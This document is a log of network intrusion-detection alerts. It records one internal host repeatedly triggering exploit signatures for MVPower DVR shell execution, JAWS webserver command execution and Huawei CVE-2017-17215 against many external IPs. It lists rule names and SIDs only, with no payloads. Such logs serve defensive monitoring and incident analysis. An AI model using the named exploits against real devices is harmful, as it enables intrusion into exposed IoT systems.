SID:	2030092
Source Port:	54420
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 18.239.254.46

Timestamp:	03/13/24-09:36:07.210057
SID:	2025883
Source Port:	56222
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 103.251.200.188

Timestamp:	03/13/24-09:36:41.681926
SID:	2030092
Source Port:	58886
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 66.225.154.222

Timestamp:	03/13/24-09:36:23.796628
SID:	2025883
Source Port:	39148
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 18.154.15.89

Timestamp:	03/13/24-09:35:27.801845
SID:	2025883
Source Port:	45496
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 97.107.136.97

Timestamp:	03/13/24-09:36:07.119768
SID:	2030092
Source Port:	46804
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 178.250.247.98

Timestamp:	03/13/24-09:36:49.163949
SID:	2025883
Source Port:	57922
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 104.76.140.52

Timestamp:	03/13/24-09:35:23.600278
SID:	2025883
Source Port:	43978
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 52.9.249.33

Timestamp:	03/13/24-09:36:48.086498
SID:	2030092
Source Port:	58294
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 34.143.46.47

Timestamp:	03/13/24-09:35:04.011139
SID:	2030092
Source Port:	34890
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 59.30.116.40

Timestamp:	03/13/24-09:35:27.914612
SID:	2030092
Source Port:	59838
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 179.189.243.81

Timestamp:	03/13/24-09:36:55.037798
SID:	2030092
Source Port:	37876
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 93.115.168.99

Timestamp:	03/13/24-09:36:24.004042
SID:	2030092
Source Port:	60816
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 13.37.125.83

Timestamp:	03/13/24-09:36:31.580942
SID:	2025883
Source Port:	35684
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 34.226.87.99

Timestamp:	03/13/24-09:35:49.094091
SID:	2025883
Source Port:	47516
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 43.200.198.128

Timestamp:	03/13/24-09:35:27.298772
SID:	2025883
Source Port:	42670
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 172.104.7.204

Timestamp:	03/13/24-09:35:48.816222
SID:	2025883
Source Port:	52814
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 96.66.171.49

Timestamp:	03/13/24-09:35:49.113408
SID:	2025883
Source Port:	35474
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 163.123.183.103

Timestamp:	03/13/24-09:36:16.024057
SID:	2030092
Source Port:	43304
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 156.17.92.36

Timestamp:	03/13/24-09:36:24.199428
SID:	2030092
Source Port:	60132
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 23.51.138.243

Timestamp:	03/13/24-09:36:49.214263
SID:	2030092
Source Port:	51616
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 154.49.138.200

Timestamp:	03/13/24-09:36:41.395137
SID:	2025883
Source Port:	40854
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 8.140.241.236

Timestamp:	03/13/24-09:36:56.467952
SID:	2025883
Source Port:	33004
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 42.236.84.158

Timestamp:	03/13/24-09:36:35.996262
SID:	2025883
Source Port:	41810
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.241.8.50

Timestamp:	03/13/24-09:36:23.180263
SID:	2829579
Source Port:	53386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 18.67.28.124

Timestamp:	03/13/24-09:36:26.104096
SID:	2030092
Source Port:	59624
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 52.18.169.231

Timestamp:	03/13/24-09:36:02.736961
SID:	2030092
Source Port:	33492
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 83.66.85.244

Timestamp:	03/13/24-09:36:07.246459
SID:	2030092
Source Port:	53568
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 40.85.178.219

Timestamp:	03/13/24-09:36:21.073169
SID:	2025883
Source Port:	60022
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 103.251.200.188

Timestamp:	03/13/24-09:36:41.681926
SID:	2025883
Source Port:	58886
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 150.60.193.244

Timestamp:	03/13/24-09:36:37.734104
SID:	2025883
Source Port:	41290
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 186.57.217.219

Timestamp:	03/13/24-09:36:26.223120
SID:	2030092
Source Port:	55724
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 196.29.227.165

Timestamp:	03/13/24-09:36:16.619267
SID:	2030092
Source Port:	47620
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 39.61.132.49

Timestamp:	03/13/24-09:35:49.407555
SID:	2025883
Source Port:	34408
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 104.76.140.52

Timestamp:	03/13/24-09:35:23.600278
SID:	2030092
Source Port:	43978
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 185.229.91.99

Timestamp:	03/13/24-09:36:21.254062
SID:	2025883
Source Port:	46034
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 41.63.160.172

Timestamp:	03/13/24-09:36:49.200958
SID:	2025883
Source Port:	60032
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 186.57.217.219

Timestamp:	03/13/24-09:36:26.223120
SID:	2025883
Source Port:	55724
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 139.59.99.156

Timestamp:	03/13/24-09:35:53.628334
SID:	2025883
Source Port:	44798
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 164.92.134.195

Timestamp:	03/13/24-09:35:49.168248
SID:	2025883
Source Port:	36842
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 34.90.194.115

Timestamp:	03/13/24-09:36:14.146923
SID:	2030092
Source Port:	38076
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 156.17.92.36

Timestamp:	03/13/24-09:36:24.199428
SID:	2025883
Source Port:	60132
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 185.15.192.254

Timestamp:	03/13/24-09:35:26.120913
SID:	2030092
Source Port:	47818
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 185.229.91.99

Timestamp:	03/13/24-09:36:21.254062
SID:	2030092
Source Port:	46034
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 161.35.186.210

Timestamp:	03/13/24-09:35:23.478162
SID:	2030092
Source Port:	36192
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 66.225.154.222

Timestamp:	03/13/24-09:36:23.796628
SID:	2030092
Source Port:	39148
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 204.11.60.74

Timestamp:	03/13/24-09:37:02.386333
SID:	2030092
Source Port:	51224
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 18.161.15.44

Timestamp:	03/13/24-09:36:51.118898
SID:	2030092
Source Port:	49202
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 185.187.46.180

Timestamp:	03/13/24-09:36:38.267068
SID:	2025883
Source Port:	57568
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 23.51.138.243

Timestamp:	03/13/24-09:36:49.214263
SID:	2025883
Source Port:	51616
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 154.49.138.200

Timestamp:	03/13/24-09:36:41.395137
SID:	2030092
Source Port:	40854
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 18.154.15.89

Timestamp:	03/13/24-09:35:27.801845
SID:	2030092
Source Port:	45496
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 97.107.136.97

Timestamp:	03/13/24-09:36:07.119768
SID:	2025883
Source Port:	46804
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 52.57.199.69

Timestamp:	03/13/24-09:35:27.801873
SID:	2025883
Source Port:	55724
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 156.235.228.92

Timestamp:	03/13/24-09:35:27.270642
SID:	2025883
Source Port:	53960
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 172.104.7.204

Timestamp:	03/13/24-09:35:48.816222
SID:	2030092
Source Port:	52814
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 52.6.35.159

Timestamp:	03/13/24-09:35:27.996333
SID:	2030092
Source Port:	50638
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 78.63.2.0

Timestamp:	03/13/24-09:36:49.270687
SID:	2025883
Source Port:	54420
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 46.250.251.167

Timestamp:	03/13/24-09:35:36.214194
SID:	2030092
Source Port:	43030
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.235.107.22

Timestamp:	03/13/24-09:36:27.829953
SID:	2835222
Source Port:	41472
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 115.71.19.135

Timestamp:	03/13/24-09:35:23.591284
SID:	2030092
Source Port:	47768
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 13.113.48.164

Timestamp:	03/13/24-09:35:49.385754
SID:	2030092
Source Port:	49296
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 61.160.202.82

Timestamp:	03/13/24-09:36:31.635191
SID:	2030092
Source Port:	41786
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 123.60.161.245

Timestamp:	03/13/24-09:36:26.817197
SID:	2030092
Source Port:	59760
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 34.203.113.78

Timestamp:	03/13/24-09:36:35.190209
SID:	2030092
Source Port:	36578
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 23.109.170.102

Timestamp:	03/13/24-09:36:45.750110
SID:	2025883
Source Port:	53868
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 128.59.28.147

Timestamp:	03/13/24-09:35:28.516573
SID:	2025883
Source Port:	48330
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 159.192.227.190

Timestamp:	03/13/24-09:36:55.581578
SID:	2030092
Source Port:	33906
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 116.205.75.203

Timestamp:	03/13/24-09:35:41.293196
SID:	2025883
Source Port:	58618
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 109.61.93.34

Timestamp:	03/13/24-09:36:49.079918
SID:	2025883
Source Port:	53770
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 185.15.192.254

Timestamp:	03/13/24-09:35:26.120913
SID:	2025883
Source Port:	47818
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 118.89.68.235

Timestamp:	03/13/24-09:35:33.109491
SID:	2030092
Source Port:	35040
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 8.140.241.236

Timestamp:	03/13/24-09:36:56.467952
SID:	2030092
Source Port:	33004
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 34.126.229.54

Timestamp:	03/13/24-09:35:28.020397
SID:	2025883
Source Port:	49646
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 57.180.159.193

Timestamp:	03/13/24-09:36:20.437171
SID:	2025883
Source Port:	45372
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 104.21.27.15

Timestamp:	03/13/24-09:35:17.967721
SID:	2025883
Source Port:	60834
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 23.1.60.81

Timestamp:	03/13/24-09:36:17.075900
SID:	2030092
Source Port:	37368
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 34.81.41.163

Timestamp:	03/13/24-09:36:41.640276
SID:	2025883
Source Port:	55998
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 150.60.193.244

Timestamp:	03/13/24-09:36:37.734104
SID:	2030092
Source Port:	41290
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 35.186.249.253

Timestamp:	03/13/24-09:36:41.364188
SID:	2030092
Source Port:	33740
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 34.242.169.70

Timestamp:	03/13/24-09:35:48.888429
SID:	2030092
Source Port:	43640
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 4.249.186.195

Timestamp:	03/13/24-09:35:58.159217
SID:	2025883
Source Port:	33460
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 18.67.28.124

Timestamp:	03/13/24-09:36:26.104096
SID:	2025883
Source Port:	59624
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 204.116.176.183

Timestamp:	03/13/24-09:35:23.347505
SID:	2030092
Source Port:	53880
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 103.240.146.109

Timestamp:	03/13/24-09:35:49.413983
SID:	2025883
Source Port:	37622
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 52.17.238.114

Timestamp:	03/13/24-09:36:16.233636
SID:	2025883
Source Port:	59258
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 163.28.224.199

Timestamp:	03/13/24-09:36:16.217602
SID:	2025883
Source Port:	48168
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 154.197.69.111

Timestamp:	03/13/24-09:36:13.531005
SID:	2030092
Source Port:	51798
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 121.152.67.252

Timestamp:	03/13/24-09:36:49.229516
SID:	2030092
Source Port:	47122
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 198.251.113.173

Timestamp:	03/13/24-09:36:55.012342
SID:	2030092
Source Port:	33842
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 211.105.120.3

Timestamp:	03/13/24-09:36:06.605378
SID:	2030092
Source Port:	60540
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 217.182.218.160

Timestamp:	03/13/24-09:36:03.064430
SID:	2030092
Source Port:	53456
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 186.211.165.86

Timestamp:	03/13/24-09:35:56.238444
SID:	2030092
Source Port:	47958
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 137.117.70.192

Timestamp:	03/13/24-09:36:20.883792
SID:	2025883
Source Port:	33112
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 104.94.21.192

Timestamp:	03/13/24-09:36:45.949873
SID:	2030092
Source Port:	34452
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 52.222.178.99

Timestamp:	03/13/24-09:35:30.032681
SID:	2025883
Source Port:	40234
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 103.121.18.245

Timestamp:	03/13/24-09:35:22.569967
SID:	2030092
Source Port:	59100
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 152.0.241.23

Timestamp:	03/13/24-09:36:49.124578
SID:	2025883
Source Port:	52346
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 34.90.194.115

Timestamp:	03/13/24-09:36:14.146923
SID:	2025883
Source Port:	38076
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 37.16.12.162

Timestamp:	03/13/24-09:35:03.983957
SID:	2030092
Source Port:	58432
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 104.16.13.138

Timestamp:	03/13/24-09:35:48.996592
SID:	2025883
Source Port:	41254
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 104.86.53.229

Timestamp:	03/13/24-09:36:29.222483
SID:	2030092
Source Port:	60564
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 35.241.6.69

Timestamp:	03/13/24-09:36:35.171608
SID:	2030092
Source Port:	54432
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 146.56.253.174

Timestamp:	03/13/24-09:36:41.892389
SID:	2030092
Source Port:	55446
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 154.201.66.244

Timestamp:	03/13/24-09:36:49.418306
SID:	2030092
Source Port:	53428
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 52.57.199.69

Timestamp:	03/13/24-09:35:27.801873
SID:	2030092
Source Port:	55724
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 52.227.231.156

Timestamp:	03/13/24-09:36:38.105875
SID:	2025883
Source Port:	57514
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 90.244.188.177

Timestamp:	03/13/24-09:36:12.608472
SID:	2025883
Source Port:	50760
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 194.195.127.71

Timestamp:	03/13/24-09:36:11.709846
SID:	2030092
Source Port:	46954
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 34.205.241.155

Timestamp:	03/13/24-09:36:16.001050
SID:	2030092
Source Port:	41120
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 66.108.248.184

Timestamp:	03/13/24-09:36:37.554782
SID:	2025883
Source Port:	42804
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 179.233.80.189

Timestamp:	03/13/24-09:36:45.822227
SID:	2030092
Source Port:	59450
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 184.85.86.34

Timestamp:	03/13/24-09:35:02.898597
SID:	2030092
Source Port:	52734
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

